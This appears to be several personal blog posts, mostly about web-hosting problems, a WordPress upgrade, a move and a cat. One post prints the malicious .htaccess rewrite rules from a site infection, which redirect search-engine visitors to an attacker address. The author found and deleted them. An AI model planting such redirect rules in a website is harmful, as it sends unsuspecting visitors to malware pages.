I still prefer that users register and comment, but now you can just blurt out whatever it is on your mind without revealing who you are.

But the issue was not resolved – the website was still down so I opened another ticket, this time telling them that it’s not OK to set the status of a ticket to “resolved” if the website is still down. What I got in return were offers on how to improve the speed of my blog. Considering that it serves 7 readers, I told them this could hardly be the reason. And I haven’t changed the code in a while, so it’s not supposed to break just like that. I still tried what they offered (disabling WordPress plugins) which of course didn’t help.

So I replied to their email and after 12 hours someone at DreamHost’s support (thanks, Jason) decided to actually look into the issue, agreed with me that the problem was on their end and fixed it.

I hope it’s a one time thing and not an indication of things to come. It’s a real hassle to switch hosts and I wouldn’t want to do it again.

I tried looking for what could have gone wrong. As I couldn’t find anything, I assumed maybe some kind of DNS poisoning occurred, that the solution is out of my reach and that if I wait it out a little bit everything will be back to normal.

So today I checked again and the problem still persisted. I decided to look further into things. Remembering an email message I got from my host, IX Web Hosting, I looked it up. Here it is:

Dear Amit,

In our ongoing commitment to the security of our customers, we have discovered a vulnerability located within many of our client’s websites, including yours. This is a self replicating virus which is found by visiting well-known search engines. When you click on any link it may redirect you to a fake Anti-Virus 2009 website which appears to scan your system and then asks you to download the software. Once downloaded and installed it begins displaying pop ups on your desktop. At this time it collects your FTP user name and password from your own computer and uses that information to upload an exploited file named “.htaccess” to your website. Any visitors to your website will then be redirected to the fake anti-virus website.

We have dedicated our systems administration team to finding a solution to this and are happy to say that as one of the first hosting companies we have successfully cleaned all instances of this virus from our servers more than a week ago, and are continually scanning them to ensure your site does not become re-infected.

While your website is now secure, your computer may still be at risk. Here are two easy steps that will detect and remove this malicious software from your computer and make sure your website will not spread the virus again:

1. Uninstall the fake Anti-Virus software by following the instructions at this link:

http://www.bleepingcomputer.com/malware-removal/uninstall-antivirus-2009

2. Once removed, change your FTP password from within your web hosting control panel. Once logged in, click on the FTP Manager icon and then on the icon next to the password to change it.

To illustrate the severity of the issue I would like to share some facts with you:

* 26,991 of our customers have been infected with fake Anti-Virus 2009
* 79,469 websites have been spreading the Anti-Virus 2009 infection
* 120,923 malicious files have been removed from our system

We are constantly monitoring our servers for potential threats to your website, and are proud to say that we are among the first web hosts to identify this particular problem, and have been the first to offer a resolution. Your continued and safe presence on the internet is our top priority.

If you have questions regarding any of this information, please contact our support team anytime.

Kind Regards,

Fatima Said, CCO
IX Web Hosting

http://www.ixwebhosting.com

When I first got this message I thought it was a hoax. Considering that the computers I use to access my website all have Linux installed, “blaming” me for having the infamous Anti-Virus 2009 (which is a relatively new and very aggressive virus) on my computers is simply wrong, being impossible and all. So I ignored the message but still kept it (I thought about contacting IX Web Hosting to ask whether this was real but just forgot about it.)

Reading the message from IX Web Hosting again, though, got me to check my .htaccess file. And indeed the file contained the following lines:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://10.0.0.1/join.html?s=join [R,L]

These lines mean that if you get to this website from any of the well-known search engines you will be redirected to the address at the last line (I changed the IP address intentionally.) Once I deleted the file from the website’s root directory everything was back to normal. Now I wanted to know how long my blog had been hijacked. My Google Analytics account revealed the answer: my search engines sources dropped to almost zero around December 14th (about a month ago.)

Digging further, I found this post on the IX Web Hosting Warning blog. The writer of the post seems to think, like me, that IX Web Hosting are simply trying to shift the blame to the customers, which is a big shame.

Up until today I was generally happy with IX Web Hosting. I almost never had any problems with the website and whenever I needed support they answered quickly and resolved any issues I had. But reading through the IX Web Hosting Warning blog made me want to switch hosts (again.) I guess I’ll do that when I’m back from my trip and hope for the best until then. I just can’t be bothered right now with switching hosts.

The upgrade process went very smoothly and lasted for about 15 minutes (I doubt any of the 6 readers of this blog saw the “I’m upgrading” message I put on the front page). I chose the extended upgrade instructions which include the scary step of deleting almost everything from the server. But it’s the cleaner way to go. I was pleasantly surprised to learn the WordPress now supports “Unicode connections” (or whatever the formal name is) to the database so I don’t need to hack the wp-db.php file like I used to before following upgrades.

The reason for the upgrade is my upcoming trip. I would like to use the blog to post updates and pictures from the trip. I still need to choose a solution for posting pictures. There are many to choose from.

Hebrew is still aligned to the left. I’ll get to that soon. Now… let’s see if this post goes through :)

At the party I was introduced to this girl (who also played the guitar during the party. Very cool) and she said “I’m a fan of your blog.” I should have just said “thanks” but I was completely out of words. After running the options through my head I said something I thought about that day. I said: “Now I know all the readers of the blog.” That thought made me smile when I thought about it during the day, but I think maybe I came out a cocky asshole by saying what I said.

So this is an apology to this very nice reader. I’m sorry and thanks a lot. You gave me a great compliment, which made me very happy.

p.s.

From now on I will refer to you as “all 6 readers of this blog”

The thing is that once you share some stuff on a blog, you want the next thing you share to be even better than before. I mean, I still have a lot of stuff I read on the web that’s interesting on a daily basis, but a lot of it comes from the same sources (mostly my RSS feed list) so it would seem like I’m repeating myself a lot – posting links to the same sources again and again.

Anyway, I hope to return to write regularly – even if it doesn’t mean posting daily.

I moved to a new apartment a few days ago. In four days I managed to pack all my stuff and move out. The move itself was OK, but naturally the movers sucked (it was the first time I didn’t tip the movers). Then I had to close every door and window in the apartment because I feared Ace would run away. When I finally brought her into the apartment, I took her in my car without a cage. It was actually a funny experience – she looked out the closed windows like dogs do and people were staring at the car with a lot of bewilderment.

After four days in the closed (yet air conditioned) apartment, I took Ace outside with a leash. She didn’t seem to be scared and didn’t try to run, so I let her go free. She did a lot of sniffing, and then (using some Tuna) I lured her in through the window so that she could see the connection between the inside and the outside of the apartment, which is on the ground floor. Being the smart cat that she is, that was enough for Ace. She is now a happy, free cat. She goes in and out a lot, and it seems as if she thinks the outside is an extension of the apartment.

I don’t have an Internet connection in the apartment yet. I will have on in three days. Not having an Internet connection at home isn’t nice, but isn’t too bad also – I wasn’t doing much surfing during weekdays at home anyway. But I couldn’t update the blog from home, as well.

At work I’m doing integration work for a few weeks. It’s not something that I enjoy too much – I prefer programming much more – but it’s part of the job. Doing integration has some positive side – you learn about parts of the system you didn’t know too much about before. One of the negative sides is that I don’t manage to catch up on my RSS feeds. I mean, I do read some (Internet-related) news, but not as much as I do when I’m programming. And naturally – I don’t have time to update this blog.

Today, though, I decided to take a few minutes and write this post. I’m not going to even proof-read it. So there you go.